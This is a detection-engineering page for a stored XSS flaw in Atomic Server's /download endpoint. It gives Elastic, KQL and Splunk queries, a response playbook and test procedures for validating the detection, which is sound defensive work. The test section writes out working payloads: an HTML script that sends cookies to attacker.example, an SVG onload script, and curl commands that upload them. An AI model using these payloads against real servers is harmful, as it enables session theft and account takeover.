Detect CVE-2026-69155: Atomic Server Stored XSS via Inline-Served Uploaded Files on /download in Elastic Security
Detects exploitation of CVE-2026-69155, a stored cross-site scripting (XSS) vulnerability in Atomic Server (versions >= 0.30.0, <= 0.40.1). Uploaded files are served inline with same-origin on the `/download` endpoint without a safe Content-Type or Content-Disposition: attachment header. An attacker who can upload a file (e.g. an HTML or SVG file containing script) can cause that script to execute in the victim's browser in the Atomic Server origin when the victim views the download, enabling session/token theft and full account takeover. Detection focuses on uploads of HTML/SVG/XML or otherwise active content followed by `/download` requests serving those files inline, and on response headers indicating inline same-origin delivery of user-uploaded content.
Based on GHSA-x277-3wcg-g9r2, Atomic Server Stored XSS advisory
MITRE ATT&CK
- Tactic
- Initial Access Execution
Elastic Detection Query
// df00tech DF00-c6093d9cee · https://df00tech.com/detections/CVE-2026-69155 · licence: https://df00tech.com/detections/licence
sequence by source.ip with maxspan=1h
[network where url.path like "*/upload*" and http.request.method == "POST" and url.extension in ("html","htm","svg","xhtml","xml","mhtml","swf")]
[network where url.path like "*/download*" and http.request.method == "GET" and http.response.status_code == 200 and (http.response.headers.content-disposition like "inline*" or http.response.headers.content-type in ("text/html","image/svg+xml","application/xhtml+xml"))] Matches an active-content upload followed by an inline same-origin /download serving it, from the same source IP within one hour.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate HTML/SVG upload-then-view workflows by trusted users
- Scanner traffic generating paired upload/download events
- Integration tests exercising the upload and download endpoints
Other platforms for CVE-2026-69155
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Upload HTML file containing script to Atomic Server
Expected signal: Web/proxy access log entry: POST /upload with an HTML file, 200/201 response from Atomic Server.
- Test 2 Retrieve uploaded file inline via /download
Expected signal: GET /download returning 200 with Content-Type: text/html and Content-Disposition absent or inline.
- Test 3 Upload malicious SVG with embedded script
Expected signal: Web/proxy access log: POST /upload with an image/svg+xml file, successful response.
References (6)
- https://github.com/ontola/atomic-server/security/advisories/GHSA-x277-3wcg-g9r2
- https://nvd.nist.gov/vuln/detail/CVE-2026-69155
- https://github.com/ontola/atomic-server/commit/457c1dc9af4cd00d2aec89720718e504a49f392d
- https://github.com/ontola/atomic-server/commit/8a8badfd3099765e62ccf6f92dc78a408a11106f
- https://github.com/ontola/atomic-server/releases/tag/v0.40.3
- https://github.com/advisories/GHSA-x277-3wcg-g9r2
Response Playbook
Triage
- Confirm the Atomic Server version is in the affected range (>= 0.30.0, <= 0.40.1); upgrade target is v0.40.3 which fixes the inline-serving behavior.
- Identify the uploaded file referenced by the `/download` request and retrieve it; inspect for `<script>`, inline event handlers, `javascript:` URIs, or SVG `<script>`/`onload` payloads.
- Review the HTTP response headers for the download: confirm whether Content-Disposition was `inline` (or absent) and Content-Type was an active type such as text/html or image/svg+xml served same-origin.
- Correlate the uploader identity and the viewers who subsequently accessed the `/download` URL to scope potential victim accounts.
Containment
- Upgrade Atomic Server to v0.40.3 (or later) so uploads are served with Content-Disposition: attachment and a non-active Content-Type.
- As an interim mitigation, place a reverse-proxy rule that forces `Content-Disposition: attachment` and a restrictive Content-Security-Policy on all `/download` responses, and remove or quarantine the malicious uploaded file(s).
- Invalidate active sessions and rotate authentication tokens for any accounts that viewed the malicious download, since token theft/account takeover is the impact.
Evidence Collection
- Preserve the malicious uploaded file, its stored resource metadata, and the full request/response pair (headers and body) for the `/download` delivery.
- Export web/proxy access logs covering the upload event and all subsequent `/download` accesses, including source IPs, user agents, and authenticated user context.
Escalation Criteria
- !Escalate to incident response if any administrator or privileged account viewed the malicious download or if session/token theft indicators (anomalous logins, token reuse) are observed.
- !Escalate if the uploaded payload exfiltrated credentials/tokens to an external endpoint or if evidence shows successful account takeover.
Investigation Guide
Forensic Artifacts
- >
Stored uploaded file blob and its Atomic resource metadata on the server - >
Web/reverse-proxy access logs showing upload POST and inline /download GET with response headers - >
Browser-side telemetry or CSP violation reports from victim clients, if available
Tuning Guidance
Baseline which legitimate users and automation upload and download HTML/SVG/XML content; allowlist known-good uploaders and content pipelines. Tighten by inspecting response headers for Content-Disposition: inline and active Content-Type, and by inspecting the uploaded file body for script markers to reduce benign document-sharing noise. After upgrading to v0.40.3 where downloads force attachment disposition, treat any remaining inline active-content /download responses as high-fidelity anomalies.
Hunting Queries
Hunt for inline GET /download requests serving active-content file types on Atomic Server, which are the delivery vector for stored XSS.
// df00tech DF00-c6093d9cee · https://df00tech.com/detections/CVE-2026-69155 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "/download" | extend ext = tolower(extract(@"(\.[a-z0-9]+)(?:$|\?)",1,csUriStem)) | where ext in (".html",".htm",".svg",".xhtml",".xml",".swf") and csMethod=="GET" and scStatus==200 | summarize count() by cIP, csUriStem, bin(TimeGenerated,1h) ``` df00tech DF00-c6093d9cee · https://df00tech.com/detections/CVE-2026-69155 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*/download*") (uri_path="*.html*" OR uri_path="*.htm*" OR uri_path="*.svg*" OR uri_path="*.xhtml*" OR uri_path="*.xml*" OR uri_path="*.swf*") method=GET status=200 | stats count by clientip, uri_path, host Atomic Red Team Tests
Uploads an HTML file with an embedded script payload to the Atomic Server upload endpoint to simulate stored XSS staging.
Command
printf '<html><body><script>fetch("https://attacker.example/steal?c="+document.cookie)</script></body></html>' > /tmp/xss.html && curl -sk -X POST "https://atomic-server.local/upload?parent=root" -H "Authorization: Bearer $ATOMIC_TOKEN" -F "file=@/tmp/xss.html;type=text/html" Cleanup
rm -f /tmp/xss.html Expected Telemetry
Web/proxy access log entry: POST /upload with an HTML file, 200/201 response from Atomic Server.
Expected Detection
Upload leg of the detection fires on a POST to /upload with an active-content (.html) file.
Requests the previously uploaded HTML file through the /download endpoint to verify inline same-origin delivery.
Command
curl -sk -D - "https://atomic-server.local/download/root/xss.html" -H "Authorization: Bearer $ATOMIC_TOKEN" -o /tmp/dl_body.html Cleanup
rm -f /tmp/dl_body.html Expected Telemetry
GET /download returning 200 with Content-Type: text/html and Content-Disposition absent or inline.
Expected Detection
Inline-download leg fires on GET /download serving an active-content file type with 200 status and inline/absent disposition.
Uploads an SVG file containing an onload script handler to test the SVG stored XSS vector on Atomic Server.
Command
printf '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"><text>x</text></svg>' > /tmp/xss.svg && curl -sk -X POST "https://atomic-server.local/upload?parent=root" -H "Authorization: Bearer $ATOMIC_TOKEN" -F "file=@/tmp/xss.svg;type=image/svg+xml" Cleanup
rm -f /tmp/xss.svg Expected Telemetry
Web/proxy access log: POST /upload with an image/svg+xml file, successful response.
Expected Detection
Upload leg fires on a POST /upload with an active-content (.svg, image/svg+xml) file.